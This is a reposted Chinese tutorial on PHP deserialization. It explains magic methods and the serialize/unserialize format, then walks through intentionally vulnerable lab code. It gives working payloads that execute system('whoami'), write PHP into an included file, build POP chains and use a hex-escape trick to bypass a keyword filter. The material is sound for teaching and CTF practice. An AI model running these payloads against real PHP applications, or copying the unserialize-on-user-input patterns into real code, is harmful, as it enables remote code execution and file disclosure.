PHP反序列化
转载于
PHP中的类和对象
类用来定义属性、方法。对象直接把类进行实例化,直接拿来用,使用的时候交给类进行处理。
可以看以下示例:
<?php
// 定义一个 message 类
class message{
// 定义类属性(类似于变量), public 代表可见(公有属性)
public $name = "LQL";
// 定义类方法(类似于函数)
public function info(){
// 可以理解为将 $name 的内容 LQL 取到这里用,后加拼接 I love you
echo $this -> name.", I love you";
}
}
$message = new message(); // 将 message() 类进行实例化
// 执行 message() 类中的 info() 方法
$message->info();
// 输入内容 LQL,I love you
?>

总结来下就是输出了LQL,I love you
首先定义message()类,在类中定义一个public类型的变量$name值为LQL
然后定义了一个类型为public的方法info(),作用是输出$name的内容加上I love you,
然后将类进行实例化,调用message()类中的info()方法,输入结果
这样就简单了解了php中的类。
魔法方法
为什么会被称为魔术方法,是因为在触发了某个时候之前或者之后魔术方法会自动调用,其他的方法需要手动调用才可以执行。PHP将这些以__开头的的类方法成为魔术方法,所以在定义类的时候,除了魔术方法,建议不要以__开头。
常见的方法
| 方法名 | 作用 |
|---|---|
| __construct | 在创建对象、初始化对象的时候调用,一般用户对变量的赋值 |
| __destruct() | 在对象被销毁、不在使用的时候被调用 |
| __wakeup() | 使用unserialize反序列化时触发,使用unserialize()函数是调用 |
| __sleep() | 当对象被seriablize()序列化的时候被调用 |
| __toString() | 当一个对象被当做一个字符串被调用,例如echo 打印对象就会别调用 |
| __set() | 对不可访问属性赋值时,就是调用时候属性的时候执行,必须有两个值,$key,$value |
| __get() | 读取不可访问属性时调用 |
| __call() | 在对象上下文中访问不可访问方法是调用 |
| __callstatic() | 在在静态上下文中调用不可访问的方法时触发 |
| __invoke() | 当脚本尝试将对象调用为为函数是触发 |
| __isset() | 在不可访问的属性上调用isset()或empty()的时候调用 |
| __unset() | 在不可访问的属性上调用unset()的时候调用 |
示例
<?php
class animal{
private $name = 'caixukun';
public function sleep(){
echo "\n";
echo $this -> name." is sleep.....";
}
public function __construct(){
echo "\n";
echo "调用了__construct方法";
// __construct() 创建对象时调用
}
public function __wakeup(){
echo "\n";
echo "调用了__wakeup方法";
// __wakeup() 反序列化时调用
}
// public function __sleep(){
// echo "\n";
// echo "调用了__sleep方法";
// // __sleep() 序列化时调用
// }
public function __destruct(){
echo "\n";
echo "调用了__destruct方法";
// __destruct() 当对象被销毁,不在调用的时候执行
}
public function __set($key,$value){
echo "\n";
echo "调用了__set方法";
// __set 在私有属性被赋值的时候调用
}
public function __get($value){
echo "\n";
echo "调用了__get方法";
}
public function __toString(){
echo "\n";
echo "调用了__toString方法";
// __toString 在对象被当做一个字符串调用是执行
}
}
// 创建对象,调用 __construct 方法
$ji = new animal();
echo "\n";
var_dump($ji);
// 赋值私有属性 name 为 hahaha ,调用 __set
$ji->name = "hahaha";
// 获取私有属性 name 值,调用 __get
echo $ji->name;
$ji->sleep();
// 序列化对象
echo "\n";
$ser_ji = serialize($ji);
echo $ser_ji;
// 反序列化对象,调用 __wakeup 方法
echo "\n";
$unser_ji = unserialize($ser_ji);
// 最后结束 调用 __destruct 方法
?>
输出的结果

序列化和反序列化
再开发中通常遇到把对象或者数组进行序号存储,反序列化输出的情况。特别是有些时候需要把数组存储到Mysql数据库中时,就需要经常对进行序列号操作
php序列化(serialize):将变量转换为可保存或传输的字符串的过程。
php反序列化(unserialize):在需要的时候,把转换的字符串变回原先的变量使用。
有了这两个过程,数据传输、存储方便很多,程序跟容易维护。
常见的php反序列化方式主要有 : serialize、unserialize、json_encode、json_decode。
序列化示例
<?php
class object{
public $name = "Jackson";
private $age = "18";
protected $height = "1.68";
function info(){
echo "name:".$this->name;
}
}
$new = new object();
$serialize = serialize($new);
echo $serialize;
?>

变量在收到不同的修饰符(public、private、protected)修饰进行序列化时,序列化后变量的名称和长度会发生变化
public : 序列化后长度不变,正常输出
private : 会在变量前加入类的名称,长度比正常多2个字节
protected : 会在变量前加入*,长度比正常多3个字节
private和protected序列化时的规则
private ,序列化时: \x00 + [名称] + \x00
protected , 序列化时: \x00 + * + \x00 + [名称]
序列化中,字母的含义
a - array b - boolean
d - double i - integer
o - common object r - reference
s - string C - custom object
O - class N - null
R - pointer reference U - unicode string
反序列化示例
一次上述的规则,进行反向复原。
使用上次的序列化的字符串,使用函数unserialize()进行反序列化处理,并将结果使用var_dump打印:
<?php
class zt{
public $name = 'junglezt';
private $age = '18';
protected $height = '1.68';
function test(){
echo "年龄:".$this->name;
}
}
$new = new zt();
$ser = serialize($new);
// echo $ser;
$un_ser = unserialize($ser);
print_r($un_ser);
?>

这样就了解了简单的反序列化
反序列化漏洞
在进行反序列化的过程中,功能就像是复原了一个对象,如果让攻击者可以操作反序列数据,那么攻击者就可是实现任意类对象的创建,如果一些类纯在自动触发的方法(魔术方法),那么就可以一次为跳板而实现命令的执行。
反序列化漏洞的条件是
1.代码中有可利用的类,并且类中有 __wekaup()、__sleep()、__destruct() 这类特殊条件下可以自动调用的函数。
2.unserialize()函数中的属性可以进行控制。
反序列化漏洞示例-1
<?php
show_source(__File__);
class A{
public $test = "Junglezt";
function __destruct(){
@eval($this->test);
}
}
$new = new A();
$ser = serialize($new);
// echo $ser;
$test_unser = unserialize($_POST['cmd']); // 反序列化同时触发_destruct函数
?>
show_source(__File__)会将代码显示到页面,定义了一个A类,public修饰的$test变量默认值为Junglezt
定义了一个魔术方法__destruct,在程序结束是调用,同样在反序列化时也会触发调用
可以看到unserialize()函数中会接收POST传参的cmd值,这就照成了反序列化漏洞
测试
cmd=O:1:"A":1:{s:4:"test";s:10:"phpinfo();";}

成功执行phpinfo();函数
O:1:"A" 为一个对象,名称长度为1,名称为A
:1: 拥有一个属性
{} 里面为属性
s:4:"test" 属性的类型为字符串,属性名长度为 4 ,属性名为 test
s:10:"phpinfo();" 属性的值得类型为字符串,属性值得长度为10,属性值得内容为 phpinfo();
所以这里也可以进行命令执行,使用system();函数
cmd=O:1:"A":1:{s:4:"test";s:17:"system('whoami');";}

成功执行system();函数
反序列化漏洞示例-2
<?php
class test{
var $test = '123';
function __wakeup(){
$fp = fopen("flag.php","w");
fwrite($fp,$this->test);
fclose($fp);
}
}
$a = $_GET['id'];
print_r($a);
echo "</br>";
$a_unser = unserialize($a);
require "flag.php";
?>
在执行unserialize()反序列化的时候触发__wakeup魔术方法将$test值写入flag.php,最后包含flag.php的内容
所以只需要写入一段php代码即可,最后通过包含可以执行我们的php代码,
这里生成一段<?php phpinfo();?>序列化值
<?php
class test{
public $test = "<?php phpinfo();?>";
}
$new = new test();
$ser = serialize($new);
echo $ser;
?>

传入payload:id=O:4:"test":1:{s:4:"test";s:18:"<?php phpinfo();?>";}

查看flag.php内容

PHP反序列化利用--POP链构造
上面的例子都是利用magic funtion魔术方法的自动调用,当危险代码存在普通方法中,就不能指望通过"自动调用"这种方法来达到目的了。
这时我们需要去寻找相同的函数名,把敏感函数和类联系在一起。一般来说在审计代码的时候要盯紧这些敏感函数,层层递进,最后构造出一个有杀伤力的payload。
POP链简介
常用于上层语言构造特定调用链的方法,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的。有时候反序列化一个对象时,由它调用的__wakeup()中有调用了其他对象,可以由它溯源而上,利用一次一次的方法,找到漏洞的位置。
PHP POP CHIAN
把魔术方法作为做最开始的位置,在魔术方法中调用其他函数,寻找相同名字的函数,在于其类中的函数进行关联,这就是POP链。此时类中的敏感属性都是可控的。当unserialize()传入的参数可控,就可以通过POP链达到利用特定漏洞的效果。
POP利用技巧
1.常用的方法
命令执行:exec()、passthru()、popen()、system()、shellexec()
文件操作:file_put_contents()、file_get_contents()、unlink()
代码执行:eval()、assert()、call_user_func()、preg_match()
2.反序列化中为了数据丢失,使用大写S支持字符串的编码。
PHP为了更加方便进行反序列化操作,可是使用大写S来执行字符串,使用之后就可以使用16进制代替字符串
O:2:"zt":1:{S:4:"\6e\61\6d\65";S:3:"\4C\51\4c";}
可以等于下方
O:2:"zt":1:{s:4:"name";s:3:"LQL";}

3.浅copy
在PHP中如果使用&号对变量A的值指向变量B,这个时候就相当于浅拷贝当变量B改变是,变量A也会跟着改变。在被反序列化的对象某些变量被过滤了,但是其他变量可控的情况下、,就可以利用浅拷贝来进行绕过
$A = &$B;

4.利用PHP伪协议
利用PHP中的伪协议可以实现文件包含、命令执行、任意文件读取。
POP链构造例子--1
<?php
show_source(__File__);
class main {
protected $ClassObj;
function __construct() {
$this->ClassObj = new normal();
}
function __destruct() {
$this->ClassObj->action();
}
}
class normal {
function action() {
echo "hello bmjoker";
}
}
class evil {
private $data;
function action() {
eval($this->data);
}
}
//$a = new main();
unserialize($_GET['a']);
?>
上面的代码可以看到,evil类中会执行eval()方法使我们可以执行命令,但是并没有魔术方法调用__evil类型。
在创建对象的时候__construct魔术方法实例化normal类,然后在反序列化和对象销毁的时候__destruct魔术方法执行normaal{}类中的action()函数,输出hello bmjoker。
所以这里需要构造POP 链,使用__construct魔术方法调用实例化evil类,然后伪造evil类中data的值为phpinfo();,最后会调用__destruct魔术方法执行action()方法,执行eval()。
构造POP链
<?php
class main{
protected $ClassObj;
function __construct(){
$this->ClassObj = new evil();
}
}
class evil{
private $data = "phpinfo();";
}
$new = new main();
$ser = serialize($new);
echo $ser;
?>

最后我们的payload为:O:4:"main":1:{s:11:"*ClassObj";O:4:"evil":1:{s:10:"evildata";s:10:"phpinfo();";}}
但是不能直接进行传参,因为protected和private是受保护类,有%00的空字符
所以我们要进行url编码才能进行传参
O:4:"main":1:{s:11:"*ClassObj";O:4:"evil":1:{s:10:"evildata";s:10:"phpinfo();";}}
url编码后
O%3A4%3A%22main%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D
url编码分析

将内容传参到a

POP链构造例子--2
<?php
show_source(__File__);
class MyFile {
public $name;
public $user;
public function __construct($name, $user) {
$this->name = $name;
$this->user = $user;
}
public function __toString(){
return file_get_contents($this->name);
}
public function __wakeup(){
if(stristr($this->name, "flag")!==False)
$this->name = "/etc/hostname";
else
$this->name = "/etc/passwd";
if(isset($_GET['user'])) {
$this->user = $_GET['user'];
}
}
public function __destruct() {
echo $this;
}
}
if(isset($_GET['input'])){
$input = $_GET['input'];
if(stristr($input, 'user')!==False){
die('Hacker');
} else {
unserialize($input);
}
}else {
highlight_file(__FILE__);
}
通过观察,这里代码有点多,我们一步一步来,这里最主要的是使用
file_get_contents()方法获取了$this-name的值,进行一个任意文件的读取。
那么,想要执行file_get_contents()方法就需要调用魔术方法to_Strings(),那么就是在echo或者print输出之类的地方,追随到__destruct魔术方法,其中有echo $this,那么要调用__destruct需要就需要追随到unserialize()方法,执行unserialize()方法的同时会调用__wakeup()魔术方法。,在__wakeup()魔术方法中,判断$this-name的值中是否含有flag,如果含有flag,将$this-name赋值为/etc/hostname文件,如果不是也会将$this-name赋值为/etc/passwd,最后通过GET方法获取user的传参。
通过上述的分析,如果我们直接通过反序列化传入$this-name,不管是什么,都会对其进行赋值。而且只能通过GET方式获取user的值。
这里就需要用到浅拷贝$this->name = &$this-user,这样的方法,让$this-name的值随着$this-user的值改变。
最后在其赋值以后,传入user的值,就会进行浅拷贝,成功读取文件。
构造POP链
<?php
class MyFile{
/*
给 $name 和 $user 赋值
其实赋值,这里的值没有什么意义,后面会被进行替换
*/
public $name = "LQL";
public $user = "";
}
// 实例化 MyFile 对象
$new = new MyFile();
// 进行浅拷贝
$new->name = &$new->user;
$ser = serialize($new);
echo $ser;
?>

这里和普通的序列化值不一样,在最后会有一个R:2,这里就是进行了浅拷贝。
传入payload进行测试
input=O:6:"MyFile":2:{s:4:"name";s:0:"";s:4:"user";R:2;}&user=D:/1.txt
&user=D:/1.txt,读取D:/1.txt的内容

读取失败了,观察会判断input传参中时候含有user,这里就可以使用S,使用16进制编码绕过
更改后的payload:input=O:6:"MyFile":2:{s:4:"name";s:0:"";S:4:"use\72";R:2;}&user=D:/1.txt
成功读取D:/1.txt的内容

未完待续
后续以后在学习,由于没有学过php,打算学一下PHP基础。

浙公网安备 33010602011771号